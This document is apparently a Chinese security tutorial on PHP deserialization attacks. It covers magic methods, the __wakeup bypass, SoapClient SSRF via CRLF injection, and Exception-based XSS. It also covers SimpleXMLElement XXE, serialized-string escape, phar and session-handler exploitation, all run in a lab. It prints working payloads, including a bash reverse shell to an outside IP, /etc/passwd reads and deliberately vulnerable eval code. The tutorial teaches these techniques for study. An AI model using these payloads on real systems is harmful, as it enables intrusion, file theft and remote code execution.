PHP反序列化基础
php中使用serialize()函数和unserialize()函数对变量进行序列化与反序列化。unserialize()函数在反序列化过程中发生了错误会返回false。
<?php class persion{ public $name="eastjun"; public $age=19; public $isAdmin=true; } echo serialize(new persion());
执行上面的代码将会输出O:7:"persion":3:{s:4:"name";s:7:"eastjun";s:3:"age";i:19;s:7:"isAdmin";b:1;}
利用反序列化进行攻击需要找到php中的魔术方法,魔术方法在满足一定条件时会自动调用,常见魔术方法如下:
__construct() //构造函数,创建对象时调用 __destruct() //析构函数,对象被销毁时调用 __call() //在对象中调用一个不可访问方法时 __callStatic() //在静态上下文中调用一个不可访问方法时 __get() //读取不可访问属性的值时 __set() //在给不可访问属性赋值时 __iset() //当对不可访问属性调用 isset() 或 empty() 时 __unset() //当对不可访问属性调用 unset() 时 __sleep() //序列化对象前调用 __wakeup() //反序列化恢复对象前调用 __toString() //对象被当成字符串使用时 __invoke() //尝试以调用函数的方式调用一个对象时
__wakeup函数绕过(CVE-2016-7124)
在PHP5 < 5.6.25、PHP7 < 7.0.10的版本中,当成员属性数目大于实际数目时可绕过__wakeup
方法,例如O:7:"persion":4:{s:4:"name";s:7:"eastjun";s:3:"age";i:19;s:7:"isAdmin";b:1;}
在上述版本的PHP进行反序列化时不会执行__wakeup()方法。
public、private、protected反序列化
序列化时如果对象的属性被(public、private、protected)修饰时,属性的名称不同,private和protected类型的属性在序列化时会出现不可见字符%00
-
public:序列化时属性名不变
-
private:序列化时属性名为%00*%00属性名
-
protected:序列化时属性名为%00类名%00属性名
原生类利用
SoapClient
php中存在内置原生类SoapClient(需要php安装soap扩展),利用SoapClient类可以进行SSRF,我的环境是在docker中的,需要先安装Soap模块然后重启apache2:
apt install -y libxml++2 && docker-php-ext-install soap
php在调用某个对象不存在的函数时会调用该对象的__call方法,调用SoapClient类的__call方法时可以进行SSRF攻击
SSRF测试代码:
<?php $a = new SoapClient(null,array('uri'=>'aaaa', 'location'=>'http://172.20.249.108:7777/eastjun')); $b = serialize($a); echo urlencode($b); $c = unserialize($b); $c->notexist();
执行结果如下:
还可以通过CRLF注入进行更深入的利用:
<?php $a = new SoapClient(null,array('uri'=>'aaaa', 'location'=>'http://172.20.249.108:7777/eastjun')); $b = serialize($a); echo urlencode($b); $c = unserialize($b); $c->notexist();
执行结果:
在SoapClient构造方法的PHP文档中可以找到:
The
user_agent
option specifies string to use inUser-Agent
header.
在SoapClient的第二个参数中可以自定义SoapClient的UA,于是可以通过在UA处进行CRLF注入将Content-Type
挤下达到攻击内网WEB服务的目的,因为有Content-Length,服务器会忽略shell=xxx后面的部分
例如写下这样一段代码放在docker环境中:
<?php if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ eval($_POST['shell']); } else{ echo "not localhost"; } $a=unserialize($_GET['ser']); $a->notexist(); ?>
直接用浏览器访问是访问不到的,但是有反序列化,可通过SoapClient类构造POST请求进行SSRF
<?php $poc = "shell=".urlencode('system("bash -c \'bash -i >& /dev/tcp/172.20.249.108/7777 0>&1\'");?>'); $a = new SoapClient(null,array('uri'=>"aaaa", 'location'=>'http://127.0.0.1/shell.php',"user_agent"=>"Eastrome\r\nContent-Length: ".strlen($poc)."\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n".$poc,"keep_alive"=>false)); $b = serialize($a); echo urlencode($b);
反序列化后可以反弹shell:
Error/Exception
__toString()
方法在对象被当成字符串使用时调用,Exception类没有对错误消息进行过滤,反序列化后输出的内容在网页中可以造成xss。
测试代码如下:
<?php $poc = "<script>alert(1);</script>"; $b = serialize(new Exception($poc)); echo unserialize($b);
可以触发xss
SimpleXMLElement
反序列化通常无法调用类的__construct
方法,但在某些情况下(例如下面的一段代码)可以进行任意类实例化,能够调用__construct
方法,可以进行XXE。
<?php if(class_exists($classname)&&isset($_GET['name'])&&isset($_GET['param'])&&isset($_GET['param2'])){ $classname = $_GET['name']; $param = $_GET['param']; $param2 = $_GET['param2']; $a = new $classname($param,$param2); echo $a; }
payload:
?name=SimpleXMLElement¶m=<?xml version="1.0" ?><!DOCTYPE ANY[<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root>%26xxe;</root>¶m2=2
反序列化字符逃逸
对用户的输入没有正确过滤,然后进行反序列化,需要序列化的字符串在过滤后有长度的变化,反序列化字符串逃逸有字符串变长和变短两种类型:
变长
例如下面的一段代码:
<?php function filter($str){ return str_replace("jan", "hacker", $str); } class A{ public $user = "jun"; public $file = "pic.jpg"; public function show(){ echo '<img src="data:image/jpg;base64,'.base64_encode(file_get_contents($this->file)).'" alt="" />'; } } $a = new A(); if(isset($_GET['user'])){ $a->user=$_GET['user']; $a = unserialize(filter(serialize($a))); } echo $a->file; $a->show();
unserialize函数在得到足够的字符后读取到}
时认为反序列化已经结束,不会读取后面的字符,
如果输入的user参数为janjanjanjanjanjanjanjanjanjanjan";s:4:"file";s:11:"/etc/passwd";}
,经过序列化得到的字符串和经过过滤后得到的字符串如下:
//序列化字符串:
O:1:"A":2:{s:4:"user";s:66:"janjanjanjanjanjanjanjanjanjanjan";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}//经过过滤后:
O:1:"A":2:{s:4:"user";s:66:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}
经过反序列化则其中的$file
参数会变为/etc/passwd
,类中的参数变得可控
变短
例如这样一段代码:
<?php function filter($str){ return preg_replace("/eastjun|hack/", "", $str); } class A{ public $user = "jun"; public $pass = "123456"; public $file = "pic.jpg"; public function show(){ echo '<img src="data:image/jpg;base64,'.base64_encode(file_get_contents($this->file)).'" alt="" />'; } } $a = new A(); if(isset($_GET['user'])&&isset($_GET['pass'])){ $a->user=$_GET['user']; $a->pass=$_GET['pass']; $a = unserialize(filter(serialize($a))); } echo $a->file; $a->show();
变短的反序列化需要两个参数
首先使得pass的值设置为;s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}
,打印出序列化字符串为O:1:"A":3:{s:4:"user";s:3:"jun";s:4:"pass";s:56:";s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}
,只要使得user的参数被filter函数过滤为空,将后面的";s:4:"pass";s:56:
吃掉就能修改file的值为/etc/passwd
。
所以需要user的值为eastjuneastjunhack
,pass的值为;s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}
,经过序列化得到的字符串和经过过滤后得到的字符串如下:
//序列化字符串:
O:1:"A":3:{s:4:"user";s:18:"eastjuneastjunhack";s:4:"pass";s:56:";s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}
//经过过滤后:
O:1:"A":3:{s:4:"user";s:18:"";s:4:"pass";s:56:";s:4:"pass";s:6:"123456";s:4:"file";s:11:"/etc/passwd";}";s:4:"file";s:7:"pic.jpg";}
Phar反序列化
phar是一种类似jar的打包文件,它的本质是一种特殊的压缩包。
phar由stub/manifest/contents/signature四部分组成:
-
stub:是phar文件标识,前面的内容不限,以
__HALT_COMPILER();
结尾,?>
是可选的 -
manifest:储存压缩包属性信息,其中以序列化的形式储存了Meta-data
-
contents:压缩文件的内容
-
signature:储存签名信息
在进行文件操作的时候使用phar协议会触发反序列化,例如file_exists()、fopen()、filesize()、include()
等函数。
受影响的函数如下(来自):
受影响函数列表 | |||
---|---|---|---|
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fileperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
在还有一些其他的可用于phar反序列化的函数
下面的代码可用于测试phar反序列化:
<?php highlight_file(__FILE__); class A{ public $cmd = ""; public function __destruct(){ eval($this->cmd); } } if(isset($_GET['file'])){ $file = $_GET['file']; echo file_exists($file); }
生成phar文件首先需要将php.ini中的phar.readonly设置为Off或0,phar生成代码:
<?php Class A{ public $cmd = "phpinfo();"; public function __destruct(){ echo $this->cmd; } } $a = new A(); $p = new Phar("eastjun.phar",0); $p->startBuffering(); $p->setMetadata($a); $p->setStub("GIF89a__HALT_COMPILER();"); $p->addFromString("test.txt","a test text"); $p->stopBuffering();
将生成的phar文件丢到010editor中可以看到序列化的字符串:
将生成的phar文件传到服务器上然后用GET方法传入file=phar://eastjun.phar/test.txt
就能进行反序列化执行phpinfo()
在实际利用的过程中需要有文件上传点、文件操作的函数以及phar://
伪协议
Session反序列化
php存在一些默认的session处理器:php、php_binary、php_serialize,三种处理器保存session的格式不同,保存session的时候会经过序列化,读取时进行反序列化:
处理器 | 存储格式 |
---|---|
php | 键名+竖线+经过serialize()函数处理后的字符串 |
php_binary | 键名长度对应的ASCII字符+键名+经过serialize()函数处理后的字符串 |
php_serialize | 经过serialize()函数处理后的字符串 |
三种处理器保存的session如下:
//php处理器 name|s:7:"eastjun"; //php_serialize处理器 a:1:{s:4:"name";s:7:"eastjun";} //php_binary处理器 •names:7:"eastjun";
php的session机制没有问题,但是session使用不当,例如session保存与读取使用的处理器不一致时会出问题。
例如在session.php中写入
<?php ini_set("session.serialize_handler", "php_serialize"); session_start(); $_SESSION["name"]='eastjun'; if(isset($_GET['name'])){ $_SESSION["name"]=$_GET['name']; } var_dump($_SESSION); ?>
在session_ser.php中写入
<?php //使用默认的php处理器处理session class A{ public $cmd = "phpinfo();"; public function __destruct(){ eval($this->cmd); } } session_start(); var_dump($_SESSION);
使用php_serialize处理器保存session,使用php处理器读取session,传入的name参数为|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}
时:
php_serialize处理器保存的session为
a:1:{s:4:”name”;s:41:”|O:1:”A”:1:{s:3:”cmd”;s:10:”phpinfo();”;}“;}
php处理器读取的session为
a:1:{s:4:”name”;s:41:”|O:1:”A”:1:{s:3:”cmd”;s:10:”phpinfo();”;}”;}
然后php处理器会将后面的O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";}
字符串进行反序列化
Referer